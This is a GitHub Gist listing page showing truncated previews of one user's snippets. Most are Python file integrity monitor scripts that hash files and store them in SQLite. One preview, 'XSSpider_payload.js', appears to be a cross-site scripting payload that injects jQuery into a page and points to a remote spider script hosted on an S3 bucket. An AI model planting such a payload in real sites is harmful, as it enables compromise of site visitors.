Skip to content

Instantly share code, notes, and snippets.

import os,hashlib,time,base64,sqlite3,configparser,smtplib,ssl
from email.mime.text import MIMEText
from getpass import getpass
db = sqlite3.connect('FileIntegrityMonitor.db')
db.row_factory = sqlite3.Row
cur=db.cursor()
conf = configparser.ConfigParser()
conf.read('FileIntegrityMonitor.ini')
def configureDatabase():
@K0G0
K0G0 / XSSpider_payload.js
Last active September 10, 2020 00:29
XSSpider
var spider_URL = 'https://{{S3_Payload_Bucket}}.s3.amazonaws.com/spider.js';
if (typeof(jQuery) == 'undefined') {
(function(e, s) {
e.src = s;
e.onload = function() {
Execute()
};
document.head.appendChild(e);
})(document.createElement('script'), '//code.jquery.com/jquery-latest.min.js')
@K0G0
K0G0 / AdvancedFIM_DataStorage.py
Last active September 27, 2020 20:19
Data Storage and Config
import os,hashlib,time,base64,sqlite3,configparser
db = sqlite3.connect('FileIntegrityMonitor.db')
db.row_factory = sqlite3.Row
cur=db.cursor()
conf = configparser.ConfigParser()
conf.read('FileIntegrityMonitor.ini')
def configureDatabase():
db.execute('CREATE TABLE IF NOT EXISTS Monitor (ID INTEGER PRIMARY KEY AUTOINCREMENT, Path TEXT NOT NULL, Recursive BIT NULL)')
db.execute('CREATE TABLE IF NOT EXISTS File (ID INTEGER PRIMARY KEY AUTOINCREMENT, FilePath TEXT NOT NULL)')
@K0G0
K0G0 / AdvancedFIM_CalculateHash.py
Last active November 26, 2015 01:40
AdvancedFIM_CalculateHash
import os,hashlib,time,base64
monitor=[
{'path':'E:\Dropbox\SVL\Projects\AdvancedFIM_GatherFiles','recursive':True},
{'path':'E:\Dropbox\SVL\Projects','recursive':False},
{'path':'E:\Dropbox\SVL\Projects\BasicFIM\BasicFIM.py','recursive':False}
]
files={}
def getFiles():
filesList=[]
@K0G0
K0G0 / AdvancedFIM_GatherFiles.py
Last active November 1, 2015 23:39
Advanced FIM - Gather Files
import os,hashlib,time
monitor=[
{'path':'E:\Dropbox\SVL\Projects\AdvancedFIM_GatherFiles','recursive':True},
{'path':'E:\Dropbox\SVL\Projects','recursive':False},
{'path':'E:\Dropbox\SVL\Projects\BasicFIM\BasicFIM.py','recursive':False}
]
files={}
def getFiles():
filesList=[]
@K0G0
K0G0 / CalculateHash.py
Last active July 5, 2019 18:04
Basic File Integrity Monitor
import os,hashlib
for file in [item for item in os.listdir('.') if os.path.isfile(item)]:
hash = hashlib.md5()
with open(file) as f:
for chunk in iter(lambda: f.read(2048), ""):
hash.update(chunk)
md5 = hash.hexdigest()
print file,md5